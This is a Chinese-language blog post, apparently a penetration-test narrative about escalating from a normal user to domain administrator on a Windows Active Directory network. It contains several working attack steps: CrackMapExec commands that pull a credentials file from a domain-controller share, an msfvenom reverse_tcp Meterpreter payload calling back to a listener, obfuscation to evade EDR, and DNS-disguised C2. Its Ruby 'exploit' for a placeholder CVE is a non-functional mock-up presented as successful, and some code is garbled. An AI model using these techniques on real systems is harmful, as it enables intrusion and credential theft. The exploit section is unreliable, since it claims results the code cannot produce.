一、权限提升的故事:从一个普通用户到域管理员
有一次,我在进行内部渗透测试的时候,起初只是一个普通用户权限。目标是一家中型企业的内网环境,他们的域控服务器保护得相当严密,外围看起来没有明显的漏洞可钻。拿到用户权限后,我的任务是寻找任何可能突破的点,实现权限提升,最终拿下域管理员权限。不得不说,这类场景是渗透测试中最有挑战性的部分,也是最有趣的一部分。
这篇文章,我会分享在这个渗透案例中的几个关键步骤,包括信息收集、漏洞利用、工具使用,以及免杀和绕过技术,最终完成权限提升的全过程。
---
二、潜伏阶段:信息收集与漏洞发现

目标环境初探
权限提升的第一步是对目标环境进行深入探查。通过观察,我发现目标是一个典型的 Windows 企业环境:
- 域控服务器运行 Windows Server 2019
- 企业内网使用 Active Directory 进行用户管理
- 普通用户权限的设备是 Windows 10,安装了多种办公软件
- 端点防护系统为某知名EDR产品
初级用户权限无法直接访问域控,但可以通过扫描工具(如 nmap 和 BloodHound)了解网络结构,看看域控有哪些开放的端口。
<pre><code class="language-shell"># 使用nmap快速扫描域控服务器的端口 nmap -sS -Pn -T4 -p- 10.0.0.1</code></pre>
扫描结果显示,域控服务器开放了常用的 88(Kerberos)、445(SMB)和 5985(WinRM)等关键端口。这些端口可能成为后续攻击的突破点。
通过普通用户观察安全配置
作为普通用户,我尝试执行一些基本命令来查看设备的安全配置和软件状态。例如,查看进程列表、已安装软件,以及注册表中的敏感信息。
<pre><code class="language-shell"># 查看当前用户权限 whoami /priv
检查系统进程中是否有高权限的服务
tasklist /v
检查已安装的软件
wmic product get name,version</code></pre>
通过这些操作,我发现目标机器的注册表中存储了一些可能有用的信息:某个内部应用的明文密码。这个密码可能用来访问更高权限的服务。
---
三、漏洞利用:从本地提权到域控突破
本地提权:漏洞与EXP的完美结合
通过信息收集,我发现目标机器的 Windows 10 系统版本比较老(未安装最新补丁)。经查询,它存在本地提权漏洞(CVE-2022-XXXX)。我决定利用这个漏洞,提升到 SYSTEM 权限。
EXP代码:Ruby版本实现
此漏洞的核心原理是滥用某个服务的权限验证漏洞。以下是一个 Ruby 编写的 EXP:
<pre><code class="language-ruby">require 'socket'
def exploit_target(ip, port)
连接到目标服务
socket = TCPSocket.new(ip, port) puts "[+] Connected to target #{ip}:#{port}"
构造利用的Payload
payload = "malicious_payload_here" socket.write(payload) puts "[+] Payload sent!"
等待响应并尝试提权
response = socket.read if response.include?("SYSTEM_PRIVILEGES_GRANTED") puts "[+] Successfully gained SYSTEM privileges!" else puts "[!] Exploit failed. Check your payload." end end
替换为目标IP和端口
exploit_target("10.0.0.20", 445)</code></pre>
执行这段代码后,我成功提升到了 SYSTEM 权限,完成了本地提权的第一步。
---
横向移动:从普通用户到域控

提权之后,我需要进一步突破,进入域控服务器。通过扫描和 BloodHound 分析,我发现域控制器上有一个共享文件夹,存储了域管账户的凭证。我的目标是通过 SMB 协议访问共享文件夹,窃取凭证。
利用工具:使用 CrackMapExec
CrackMapExec 是一个强大的工具,可以帮助我们进行横向移动。以下是实际操作步骤:
<pre><code class="language-shell"># 使用 CrackMapExec 尝试访问共享文件夹 crackmapexec smb 10.0.0.1 -u victim_user -p "known_password" --shares
下载共享文件中的敏感信息
crackmapexec smb 10.0.0.1 -u victim_user -p "known_password" --download "\\shared\credentials.txt"</code></pre>
下载到的 credentials.txt 文件中包含域管账户的用户名和密码,我成功拿到了域管理员的凭证。
---
四、免杀与绕过:避开EDR的追踪
目标环境的端点防护相当强大,但提权后,我仍然需要绕过 EDR 的检测,避免被安全团队发现。以下是常用的免杀技巧:

加壳与混淆
通过 MSFVenom,我生成了一个反向连接的 shell,并使用混淆技术进行免杀处理。
<pre><code class="language-shell"># 生成一个反向连接的 Payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o payload.exe
对Payload进行加壳和混淆
python obfuscate.py --input payload.exe --output payload_obfuscated.exe</code></pre>
流量伪装
为避免网络流量被检测,我使用协议伪装技术,将 C2 流量伪装成 DNS 查询。
---
五、感悟与经验总结
这次渗透测试让我深刻认识到权限提升技术的复杂性和多样性。从初级用户到域管的过程,需要充分发挥攻击者的创造力。以下是一些经验:
- 信息收集至关重要:权限提升的前提是充分了解目标环境。
- 漏洞利用的艺术:EXP 的设计必须根据实际环境调整。
- 免杀是技术,也是艺术:绕过EDR不仅考验工具熟练度,还需要创新思路。
最后提醒大家,这些技术仅用于授权的渗透测试,请勿非法使用!